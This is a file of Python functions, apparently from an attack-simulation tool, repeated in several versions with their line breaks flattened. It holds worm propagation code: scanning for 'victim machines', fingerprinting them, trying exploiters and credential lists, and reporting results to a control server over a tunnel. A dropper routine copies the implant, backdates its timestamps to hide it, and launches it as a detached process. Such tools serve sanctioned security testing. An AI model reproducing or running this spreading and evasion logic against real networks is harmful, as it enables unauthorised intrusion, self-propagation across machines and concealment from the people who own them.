def start(self): LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() last_exploit_time = None ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for _ in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = [ exploiter() for exploiter in WormConfiguration.exploiter_classes ] self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry( 'scan', { 'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__ }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) successful_exploiter = None for exploiter in self._exploiters: if not exploiter.is_os_supported(machine): LOG.info( "Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) try: if exploiter.exploit_host(machine, WormConfiguration.depth): successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) ControlClient.send_telemetry( 'exploit', { 'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__ }) except Exception, exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) continue if successful_exploiter: self._exploited_machines.add(machine) last_exploit_time = time.time() ControlClient.send_telemetry( 'exploit', { 'result': True, 'machine': machine.__dict__, 'exploiter': successful_exploiter.__class__.__name__ }) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len( self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if not is_empty: time.sleep(WormConfiguration.timeout_between_iterations)
def start(self): LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https')) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for _ in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines(WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info("Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__}) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug("%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue successful_exploiter = None if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) for exploiter in self._exploiters: if not exploiter.is_os_supported(machine): LOG.info("Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) try: if exploiter.exploit_host(machine, WormConfiguration.depth): successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__}) except Exception, exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) continue if successful_exploiter: self._exploited_machines.add(machine) ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__, 'exploiter': successful_exploiter.__class__.__name__}) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if not is_empty: time.sleep(WormConfiguration.timeout_between_iterations)
def start(self): if self._config['destination_path'] is None: LOG.error("No destination path specified") return # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: shutil.move(self._config['source_path'], self._config['destination_path']) LOG.info("Moved source file '%s' into '%s'", self._config['source_path'], self._config['destination_path']) file_moved = True except (WindowsError, IOError, OSError) as exc: LOG.debug("Error moving source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], exc) # if file still need to change path, copy it if not file_moved: try: shutil.copy(self._config['source_path'], self._config['destination_path']) LOG.info("Copied source file '%s' into '%s'", self._config['source_path'], self._config['destination_path']) except (WindowsError, IOError, OSError) as exc: LOG.error("Error copying source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], exc) return False if WormConfiguration.dropper_set_date: if sys.platform == 'win32': dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows) else: dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) except OSError as exc: LOG.warn("Cannot set reference date using '%s', file not found", dropper_date_reference_path) else: try: os.utime(self._config['destination_path'], (ref_stat.st_atime, ref_stat.st_mtime)) except: LOG.warn("Cannot set reference date to destination file") monkey_options = build_monkey_commandline_explicitly( self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options else: dest_path = self._config['destination_path'] # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually # runs the monkey inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], 'monkey_commandline': inner_monkey_cmdline} monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) LOG.info("Executed monkey process (PID=%d) with command line: %s", monkey_process.pid, monkey_cmdline) time.sleep(3) if monkey_process.poll() is not None: LOG.warn("Seems like monkey died too soon")
def start(self): LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry( "tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry( 'scan', { 'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__ }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) successful_exploiter = None for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if not exploiter.is_os_supported(): LOG.info( "Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) result = False try: result = exploiter.exploit_host() if result: successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except Exception as exc: LOG.exception( "Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) finally: exploiter.send_exploit_telemetry(result) if successful_exploiter: self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len( self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
def start(self): LOG.info("Monkey is running...") if not ControlClient.find_server(default_tunnel=self._default_tunnel): LOG.info("Monkey couldn't find server. Going down.") return if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines(WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info("Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', {'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__}) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug("%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) successful_exploiter = None for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if not exploiter.is_os_supported(): LOG.info("Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) result = False try: result = exploiter.exploit_host() if result: successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) finally: exploiter.send_exploit_telemetry(result) if successful_exploiter: self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len(self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
def start(self): if self._config['destination_path'] is None: LOG.error("No destination path specified") return # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: shutil.move(self._config['source_path'], self._config['destination_path']) LOG.info("Moved source file '%s' into '%s'", self._config['source_path'], self._config['destination_path']) file_moved = True except (WindowsError, IOError, OSError) as exc: LOG.debug("Error moving source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], exc) # if file still need to change path, copy it if not file_moved: try: shutil.copy(self._config['source_path'], self._config['destination_path']) LOG.info("Copied source file '%s' into '%s'", self._config['source_path'], self._config['destination_path']) except (WindowsError, IOError, OSError) as exc: LOG.error("Error copying source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], exc) return False if WormConfiguration.dropper_set_date: if sys.platform == 'win32': dropper_date_reference_path = os.path.expandvars( WormConfiguration.dropper_date_reference_path_windows) else: dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) except OSError as exc: LOG.warn( "Cannot set reference date using '%s', file not found", dropper_date_reference_path) else: try: os.utime(self._config['destination_path'], (ref_stat.st_atime, ref_stat.st_mtime)) except: LOG.warn("Cannot set reference date to destination file") monkey_options = build_monkey_commandline_explicitly( self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { 'monkey_path': self._config['destination_path'] } + monkey_options else: dest_path = self._config['destination_path'] # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually # runs the monkey inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % { 'monkey_filename': dest_path.split("/")[-1] } + monkey_options monkey_cmdline = GENERAL_CMDLINE_LINUX % { 'monkey_directory': dest_path[0:dest_path.rfind("/")], 'monkey_commandline': inner_monkey_cmdline } monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) LOG.info("Executed monkey process (PID=%d) with command line: %s", monkey_process.pid, monkey_cmdline) time.sleep(3) if monkey_process.poll() is not None: LOG.warn("Seems like monkey died too soon")